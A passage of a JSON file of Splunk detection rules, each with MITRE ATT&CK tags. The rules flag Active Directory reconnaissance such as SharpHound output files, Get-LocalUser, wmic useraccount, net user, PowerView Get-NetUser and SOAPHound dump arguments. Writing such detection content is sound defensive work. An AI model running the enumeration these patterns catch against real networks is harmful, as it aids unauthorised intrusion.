24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound File Modifications", - "description": "The following analytic detects the creation of files typically associated with SharpHound, a reconnaissance tool used for gathering domain and trust data. It leverages file modification events from the Endpoint.Filesystem data model, focusing on default file naming patterns like `*_BloodHound.zip` and various JSON files. This activity is significant as it indicates potential domain enumeration, which is a precursor to more targeted attacks. If confirmed malicious, an attacker could gain detailed insights into the domain structure, facilitating lateral movement and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*bloodhound.zip\", \"*_computers.json\", \"*_gpos.json\", \"*_domains.json\", \"*_users.json\", \"*_groups.json\", \"*_ous.json\", \"*_containers.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user| `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound file modifications identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Usage", - "description": "The following analytic detects the usage of the SharpHound binary by identifying its original filename, `SharpHound.exe`, and the process name. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process metadata and command-line executions. SharpHound is a tool used for Active Directory enumeration, often by attackers during the reconnaissance phase. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially leading to privilege escalation and lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sharphound.exe OR Processes.original_file_name=SharpHound.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_usage_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound binary identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "GetLocalUser with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with the `Get-LocalUser` commandlet, which is used to query local user accounts. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Monitoring this activity is significant because adversaries and Red Teams may use it to enumerate local users for situational awareness and Active Directory discovery. If confirmed malicious, this activity could allow attackers to identify potential targets for further exploitation or privilege escalation within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-LocalUser*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getlocaluser_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "GetLocalUser with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-LocalUser` PowerShell commandlet using PowerShell Script Block Logging (EventCode=4104). This commandlet lists all local users on a system. The detection leverages script block text from PowerShell logs to identify this activity. Monitoring this behavior is significant as adversaries and Red Teams may use it to enumerate local users for situational awareness and Active Directory discovery. If confirmed malicious, this activity could lead to further reconnaissance, enabling attackers to identify potential targets for privilege escalation or lateral movement.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-LocalUser*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getlocaluser_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $Computer$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetWmiObject User Account with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments that utilize the `Get-WmiObject` cmdlet and the `Win32_UserAccount` parameter to query local user accounts. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt by adversaries to enumerate user accounts for situational awareness or Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-WmiObject* AND Processes.process=*Win32_UserAccount*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_user_account_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "GetWmiObject User Account with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-WmiObject` commandlet with the `Win32_UserAccount` parameter via PowerShell Script Block Logging (EventCode=4104). This method leverages script block text to identify when a list of all local users is being enumerated. This activity is significant as it may indicate an adversary or Red Team operation attempting to gather user information for situational awareness and Active Directory discovery. If confirmed malicious, this could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Get-WmiObject*\" AND ScriptBlockText=\"*Win32_UserAccount*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `getwmiobject_user_account_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Malicious PowerShell", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration using PowerShell on $Computer$ by $UserID$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Local Account Discovery with Net", - "description": "The following analytic detects the execution of `net.exe` or `net1.exe` with command-line arguments `user` or `users` to query local user accounts. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate local users, which is a common step in situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further attacks, including privilege escalation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` (Processes.process=*user OR Processes.process=*users) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `local_account_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "Local Account Discovery With Wmic", - "description": "The following analytic detects the execution of `wmic.exe` with command-line arguments used to query local user accounts, specifically the `useraccount` argument. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate local users, which is a common step in situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further targeted attacks, privilege escalation, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` (Processes.process=*useraccount*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `local_account_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Local user discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "Network Traffic to Active Directory Web Services Protocol", - "description": "The following analytic identifies network traffic directed to the Active Directory Web Services Protocol (ADWS) on port 9389. It leverages network traffic logs, focusing on source and destination IP addresses, application names, and destination ports. This activity is significant as ADWS is used to manage Active Directory, and unauthorized access could indicate malicious intent. If confirmed malicious, an attacker could manipulate Active Directory, potentially leading to privilege escalation, unauthorized access, or persistent control over the environment.", - "search": "| tstats count from datamodel=Network_Traffic where All_Traffic.dest_port=9389 by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.user, All_Traffic.dest_port | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `network_traffic_to_active_directory_web_services_protocol_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Network", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Network traffic to Active Directory Web Services Protocol was identified on $dest_ip$ by $src_ip$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Windows Account Discovery for None Disable User Account", - "description": "The following analytic detects the execution of the PowerView PowerShell cmdlet Get-NetUser with the UACFilter parameter set to NOT_ACCOUNTDISABLE, indicating an attempt to enumerate Active Directory user accounts that are not disabled. This detection leverages PowerShell Script Block Logging (EventCode 4104) to identify the specific script block text. Monitoring this activity is significant as it may indicate reconnaissance efforts by an attacker to identify active user accounts for further exploitation. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-NetUser*\" ScriptBlockText = \"*NOT_ACCOUNTDISABLE*\" ScriptBlockText = \"*-UACFilter*\" | rename Computer as dest, UserID as user | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_account_discovery_for_none_disable_user_account_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Account Discovery for None Disable User Account using PowerView's Get-NetUser on $dest$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "Windows SOAPHound Binary Execution", - "description": "The following analytic detects the execution of the SOAPHound binary (`soaphound.exe`) with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and other process-related metadata. This activity is significant because SOAPHound is a known tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could allow an attacker to extract sensitive information, escalate privileges, or persist within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"soaphound.exe\" OR Processes.original_file_name=\"soaphound.exe\" AND Processes.process IN (\"*--buildcache *\", \"*--bhdump *\", \"*--certdump *\", \"*--dnsdump *\", \"*-c *\", \"*--cachefilename *\", \"*-o *\", \"*--outputdirectory *\") by Processes.process Processes.dest Processes.process_current_directory Processes.process_name Processes.process_path Processes.process_integrity_level Processes.parent_process Processes.parent_process_path Processes.parent_process_guid Processes.parent_process_id Processes.process_guid Processes.process_id Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_soaphound_binary_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": 